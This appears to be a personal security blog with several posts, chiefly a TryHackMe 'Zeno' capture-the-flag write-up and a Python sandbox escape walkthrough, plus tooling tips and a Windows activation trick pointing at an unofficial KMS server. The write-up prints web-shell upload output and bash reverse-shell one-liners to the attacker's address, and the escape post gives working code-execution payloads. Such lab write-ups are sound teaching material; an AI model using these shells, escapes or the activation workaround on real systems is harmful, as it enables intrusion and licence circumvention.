19 N/A N/A
20 ✔️ N/A
21 ✔️ N/A
22 ✔️ N/A
23 ✔️ N/A
24 ✔️ N/A

Sunday, November 7, 2021

Windows 10 - Temporary Activation

Whilst doing new Windows 10 installations, you don't always have your current Windows Licence Key lying around, and would like to customize your taskbar and such a little more than the defaults would allow.

To get around this, you can use this temporary Windows Activation method.

Simply open a new Command Prompt window as Administrator, paste these 3 lines, and confirm any checkboxes that may appear.

slmgr.vbs /ipk W269N-WFGWX-YVC9B-4J6C9-T83GX
slmgr.vbs /skms kms.teevee.asia
slmgr.vbs /ato

You will now be able to fully customize your OS to your hearts content.

Remember - Only do this on Personal devices, and switch to a regular Activation method when you are able to do so.

Monday, November 1, 2021

TryHackMe - Zeno Writeup

A new Medium difficulty box on TryHackMe was released, so I decided to do a writeup on it.

Troubles from the start

My initial nmap scan (All 65535 TCP Ports) on the box returned a single open Port - 22 (SSH) running OpenSSH7.4. Given the difficulty of the box, I figured that it was some service running on a UDP port, so did a full UDP scan and came up with absolutely nothing.

Knowing how unstable TryHackMe boxes can be on Free accounts, I reset the box, waited 20 minutes, and tried again - With the same result. After additional investigation in their Discord chat, I discovered that this was a common issue affecting users (An unfortunately common occurence in their recent released boxes), and that port-scanning from the on-network TryHackMe Attack Box was the way to go. Doing this led me to an additional open port - 12340

Basic enumeration

Given the new port, I decided to give it a quick scan:

reelix@reelix-1:~$ reecon 10.10.74.206 12340
Reecon - Version 0.27d ( https://github.com/Reelix/Reecon )
Scanning: 10.10.74.206 (Port: 12340)
Unknown Port: 12340 - Info may be unreliable / duplicated - Especially for Web Servers
Port 12340 - HTTP
- Page Title: We've got some trouble | 404 - Resource not found
- DNS: 10.10.74.206
- Server: Apache/2.4.6 (CentOS) PHP/5.4.16
-- Apache Detected
- Other Headers: Date,ETag,Accept-Ranges
- Common Path is readable: http://10.10.74.206:12340/index.html (Len: 3897)
-- EMail: [email protected]
-- [email protected]: mailto:[email protected]

This showed that it was a webserver running a slightly outdated version of Apache on CentOS, the base page was a 404 page (Named index.html), and the page contained a placeholder e-mail address. Visiting the page in Chrome showed no additional useful information. There was a comment tag displaying that this specific 404 page was a template by Simple HTTPErrorPages, although browsing through their Githubs issue list showed nothing useful. As it was a webserver, my next plan was to run gobuster to see if there were any hidden pages. Failing that, it was on to searching for newly released Apache / CentOS exploits.

Thankfully, running gobuster returned an interesting result:

reelix@reelix-1:~/thm/zeno$ gobuster dir -u http://10.10.74.206:12340/ -w ~/wordlists/directory-list-2.3-medium.txt -x.php,.txt,.html -t 50
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.74.206:12340/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /home/reelix/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              txt,html,php
[+] Timeout:                 10s
===============================================================
2021/11/01 08:20:26 Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 3897]
/rms                  (Status: 301) [Size: 238] [--> http://10.10.74.206:12340/rms/]

===============================================================
2021/11/01 09:22:01 Finished
===============================================================

Browsing to this newly discovered rms page showed a detailed Hotel Restaurant Management System:

Registering an account and then browsing through the site showed that it was rather detailed, so I figured that it was simply an existing CMS set up for this specific challenge.

Exploitation

An exploit-db search for "Hotel Restaurant Management Management System", and then "Restaurant Management System" led me to a single exploit. The familiar /rms/ in the exploit led me to believe that this was what I was looking for!

After browsing the exploits code, fixing up some formatting errors, fixing up the URLs, and seeing how it was meant to work, I ran it, then tested that I had code execution:

reelix@reelix-1:~/thm/zeno$ python3 47520 http://10.10.74.206:12340/rms/

    _  _   _____  __  __  _____   ______            _       _ _
  _| || |_|  __ \|  \/  |/ ____| |  ____|          | |     (_) |
 |_  __  _| |__) | \  / | (___   | |__  __  ___ __ | | ___  _| |_
  _| || |_|  _  /| |\/| |\___ \  |  __| \ \/ / '_ \| |/ _ \| | __|
 |_  __  _| | \ \| |  | |____) | | |____ >  <| |_) | | (_) | | |_
   |_||_| |_|  \_\_|  |_|_____/  |______/_/\_\ .__/|_|\___/|_|\__|
                                             | |
                                             |_|



Credits : All InfoSec (Raja Ji's) Group
[+] Restaurant Management System Exploit, Uploading Shell
[+] Shell Uploaded. Please check the URL :http://10.10.74.206:12340/rms/images/reverse-shell.php
reelix@reelix-1:~/thm/zeno$ curl http://10.10.74.206:12340/rms/images/reverse-shell.php?cmd=whoami
apache

Victory!

Changing the command to a URL encoded reverse shell and setting up a pwncat listener got me what I needed:

reelix@reelix-1:~/thm/zeno$ reecon -shell bash
Reecon - Version 0.27d ( https://github.com/Reelix/Reecon )
Don't forget to change the IP / Port!
ens4: 10.142.0.16
docker0: 172.17.0.1
tun0: 10.2.26.203
Bash Shell
----------
#!/bin/bash
bash -i >& /dev/tcp/10.2.26.203/9001 0>&1
Note: File header is only required if it's a file and not a command
Safer: bash -c "bash -i >& /dev/tcp/10.2.26.203/9001 0>&1"
Safer Base64: YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yLjI2LjIwMy85MDAxIDA+JjEi
Alt Safer Base64 (No +): YmFzaCAtaSAmPi9kZXYvdGNwLzEwLjIuMjYuMjAzLzkwMDEgPCYx
Safer URL Encoded: bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.2.26.203%2F9001%200%3E%261%22
reelix@reelix-1:~/thm/zeno$ curl http://10.10.74.206:12340/rms/images/reverse-shell.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.2.26.203%2F9001%200%3E%261%22






Privilege Escalation

After a quick browse in the users home directory and the web directory to see if nothing quick could be gained, I copied lse over to /dev/shm and ran it at level 1 and discovered two interesting things:

1.) A password for "zeno" in /etc/fstab

2.) That we could write to a system service file "/etc/systemd/system/zeno-monitoring.service"

Attempting zenos password for the only other user on the box - edward - gave us access to him, allowing us to get the first flag - The user.txt file in edwards home directory!

Root

Investigating the zeno-monitoring.service file showed something interesting:

(remote) apache@zeno:/dev/shm$ cat /etc/systemd/system/zeno-monitoring.service
[Unit]
Description=Zeno monitoring

[Service]
Type=simple
User=root
ExecStart=/root/zeno-monitoring.py

[Install]
WantedBy=multi-user.target

When the service is started, it runs a script. Now, we can alter this value, but the problem is that we can't reboot the box - Or can we!

Running a sudo -ln as edward shows that edward has sudo permissions on /usr/sbin/reboot - Perfect!

Whilst there was no nano on the box (Which I prefer), there was vi which I used (i to set to "insert" to alter text, escape->:wq! to save and exit) to alter the service file.

My initial plan was to set the ExecStart to simply run a .sh file with a shell, although it turns out that edward only had read-only permissions to his home directory which was extremely odd, and all directories he had write access to - /dev/shm and /tmp - Got cleared on reboot, so I had nowhere to put it!

My next plan was to alter ExecStart to add a suid bit to /bin/bash and chown it - Although that didn't work for some reason.

My third plan was to alter ExecStart to directly send a reverse shell back to me - Although that didn't work either!

My fourth plan was to alter ExecStart to copy /bin/bash to a different directory, and suid that - Which worked! Rebooting the box with the reboot priviliges of edward, and running the copied bash file with -p (To preserve root) allowed me to get the final flag located at /root/root.txt - The box was now complete!

[edward@zeno ~]$ id
uid=1000(edward) gid=1000(edward) groups=1000(edward) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[edward@zeno ~]$ ./woof -p
woof-4.2# hostname && id
zeno
uid=1000(edward) gid=1000(edward) euid=0(root) egid=0(root) groups=0(root),1000(edward) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
woof-4.2# cat /root/root.txt
THM{b187c--REDACTED--71791}
woof-4.2#

Wednesday, June 23, 2021

Fixing TTYs with script - For when there's no python/3

After catching a reverse shell in CTF-style challenges with nc, you generally need to fix the TTY (In short - How the terminal works). Without fixing it, you have numerous problems - The most obvious being that command-line programs cannot accept inputs on a different line - So no typing in a password for sudo. Obviously a major issue!

The most common method I use is with python, or python3 - Depending on how old the system is. The syntax for this is:

python -c "import pty; pty.spawn('/bin/bash');"

Or simply adding a 3 for python3:

python3 -c "import pty; pty.spawn('/bin/bash');"

Most boxes generally have one or the other, so you're set from there. The issue comes when you get a shell inside a container that lacks python. I recently came across this scenario and discovered script.

script is - To quote from the man pages:

script makes a typescript of everything on your terminal session.

In short - It saves everything in your session to a log file. It turns out, if you use a few parameters, you can use it to fix your TTY (Or more specifically - Silently redirect running output to bash whilst setting the log file to /dev/null) - Or - In code form:

script -qc bash /dev/null

 

In the following screenshot I realize that there's no python or python3, realize script and bash exists, and use script to run bash to get a fixed TTY inside a container.

Using script to fix TTY

Thursday, May 13, 2021

Enabling case sensitivity in Windows Folders

I recently discovered that - By default - The Windows Filesystem is case insensitive.

 This is easily testable.


Folders



Files



If you require case sensitivity to be enabled in a specific folder, you can run:

fsutil file setCaseSensitiveInfo C:\Reelix\CaseTest enable

You will get informed that it has been enabled.

C:\Reelix\CaseTest>fsutil file setCaseSensitiveInfo C:\Reelix\CaseTest enable
Case sensitive attribute on directory C:\Reelix\CaseTest is enabled.

You can then test the results.


Possible issues

If you get Error: The request is not supported. run

powershell Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux

And reboot.

If you get Error: Access is denied. then use an administrative terminal.

Enjoy!

Tuesday, May 11, 2021

John - Fixing "No OpenCL devices found" for fast GPU cracking

If anyone has tried to do password cracking, they might realize that they generally have 2 options:

1.) Hashcat - Small Range of Hash Formats - Fast Cracking (GPU)
2.) John The Ripper - Large Range of Hash Formats - Slow Cracking (CPU)

What many people don't know is that John can actually do GPU cracking in some instances!

When cracking a hash with John, many people have probably seen something similar to the following recommending the OpenCL variation

Warning: detected hash type "sometype", but the string is also recognized as "sometype-opencl"

But have simply glossed over it, since attempting to use --format:sometype-opencl has simply resulted in a No OpenCL devices found error, and the hash cracks fine (Albeit slowly using only the CPU)

This bug has existed for a long time - This is how to solve it, and get super-fast GPU cracking on John!

1.) In your John folder, open up etc\OpenCL\vendors\nvidia.icd in a text editor
2.) You will see something like c:\Windows\System32\nvopencl.dll
3.) Go to C:\Windows\System32\, and search for nvopencl64.dll - In my case, it was hidden inside a DriverStore folder
4.) Copy the path of it (If you have multiple, simply use the first one), and place the full path inside Johns nvidia.icd, replacing what's already there
5.) Save, and re-run john with the --format:whatever-opencl

Enjoy your fast GPU cracking :)

Tuesday, May 4, 2021

Python3.9 - AttributeError: module 'base64' has no attribute 'decodestring'

Whilst doing a ctf challenge, I needed to brute-force an encrypted private key, so I turned to John and ran the usual
python sshng2john.py hash.txt
This time, however, I was greeted with an unfriendly
> AttributeError: module 'base64' has no attribute 'decodestring'
After some searching around, I realized that I could change Line 640 in sshng2john.py from
data = base64.decodestring(data)
to
data = base64.decodebytes(data)
Which solved the issue.

Silly Python3.9 breaking changes :(

Saturday, April 24, 2021

The Craziest Python Sandbox Escape

Several CTF Challenges involve Python Sandbox Escapes.

In essence, you're allowed to run a small piece of Python code, often being run by Pythons "exec" function which simply executes any code given to it.

With no restrictions, you can simply go:

>>> import os; os.system('whoami');
reelix

The "whoami" is simply a proof of concept. You can run any linux command from there, so you can alter files, create a reverse shell, and so on.

So they then limit the ability to use spaces so you can't do the import. You can bypass that by using one of Pythons builtin functions and going:

__import__('os').system('whoami');

So they then limit it further. No spaces, but now you're not allowed to use the words "import", "os", or "system" - Either Uppercase, or Lowercase. You can bypass that by converting the required words to strings, reversing them, and calling them directly, and go:

getattr(getattr(__builtins__,'__tropmi__'[::-1])('so'[::-1]),'metsys'[::-1])('whoami');

And that's about as far as most get. In a recent CTF however, I had all the above restrictions, but now no builtins (No __import__ or __builtins__), or quotes either!

Aside from the quote removal, the challenge was:

exec('Your Input Here', {'__builtins__': None, 'print':print});

Getting Letters

Python doesn't require the entire string to be together, so you can go:

>>> import os; os.system('who'+'am'+'i');
reelix

In addition, you can assign these to variables, so you can go:

>>> wordwhoami='w'+'ho'+'ami';import os;os.system(wordwhoami);
reelix

So, first, I needed some way to be able to get some letters.

If you run:

().__class__.__base__.__subclasses__();

It splits out every base class that Python3 has:

>>> ().__class__.__base__.__subclasses__();
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, ......

Well, this list of classes has letters in it, right? So lets use those!

We can't just use these letters directly, as it's a list of objects and not a string, so we need to convert that list to a string to be able to get access to the individual characters.

Whilst we can't just use str like you normally would since str is one of the builtin classes that were stripped, that list of classes has <class 'str'> in it at position 22 - So let's use that instead!

>>> ().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__());
"[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>......

And, since it's now a string, we can simply use the positional index to pluck out specific characters!

We need an "o" and an "s" for "os". The "s" we can get from the word "class" at the start at index 5, and the "o" we can get from "NoneType" at index 164. So, to print "os" we can go:

>>> ().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[164]+().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[5];
'os'

Let's assign them some variables so it's easier to use them later.

>>> charo=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[164];
chars=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[5];
charo+chars;
'os'

Getting __import__ back

Now I was stuck for awhile. I couldn't just any of the builtin classes since they were stripped, so I couldn't run __import__ to import the "os" I had just created - Now what!

After extensive searching, I came across this link showing that the base class "_frozen_importlib.BuiltinImporter" had a .load_module method that could get the builtins back!

Similar to how we used the "str" method to convert our original list to a string, we can call this method by its index in our base list (At position 84), and construct the text it required for the .load_module method from a list of indexed characters!

>>> charb=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[53];
>>> charu=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[235];
>>> chari=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[94];
>>> charl=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[51];
>>> chart=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[9];
>>> charn=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[95];
>>> chars=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[5];
>>> ().__class__.__bases__[0].__subclasses__()[84]().load_module(charb+charu+chari+charl+chart+chari+charn+chars).__import__;
<built-in function __import__>

And now we have our __import__ back! Hurrah!

Putting it all together

Now we just need to add the missing characters for the rest, neaten it up a bit, and we're done - Full code execution!

>>> charb=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[53];
>>> charu=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[235];
>>> chari=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[94];
>>> charl=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[51];
>>> chart=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[9];
>>> charn=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[95];
>>> chars=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[5];
>>> charo=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[164];
>>> charw=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[25];
>>> charh=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[540];
>>> chara=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[4];
>>> charm=().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[187];
>>> bi=().__class__.__bases__[0].__subclasses__()[84]().load_module(charb+charu+chari+charl+chart+chari+charn+chars);
>>> bi.__import__(charo+chars).system(charw+charh+charo+chara+charm+chari);
reelix

Saturday, April 17, 2021

Stegseek - A proper Steghide cracker at last!

During CTF challenges, they sometimes hide data inside an image with Steghide. The common way to solve these is to use steghide with a located password or crack the password from a wordlist. Up until now, this has been EXTREMELY slow with common brute-force applications re-running Steghide with each and every password in the list - Around 500 attempts per second on faster systems. When attempting to do this with a larger password list such as RockYou which contains millions of entries, this speed was obviously an issue.

During some recent browsing, I found a tool that can not only crack these passwords TWENTY THOUSAND TIMES FASTER, but in some cases can actually locate data inside a password-protected Steghide image without actually knowing the original password by brute-forcing every possible way that Steghide uses to embed the image in the first place o_O

Link to the tool on Github: Stegseek

Wednesday, March 31, 2021

TryHackMe Certs

A kind fellow bought me a 30-day membership to Premium TryHackMe, so I decided to get some of their certificates whilst I was able to. 


I also got this one last Christmas, although whilst I'm sticking them all here, I might as well include this one too.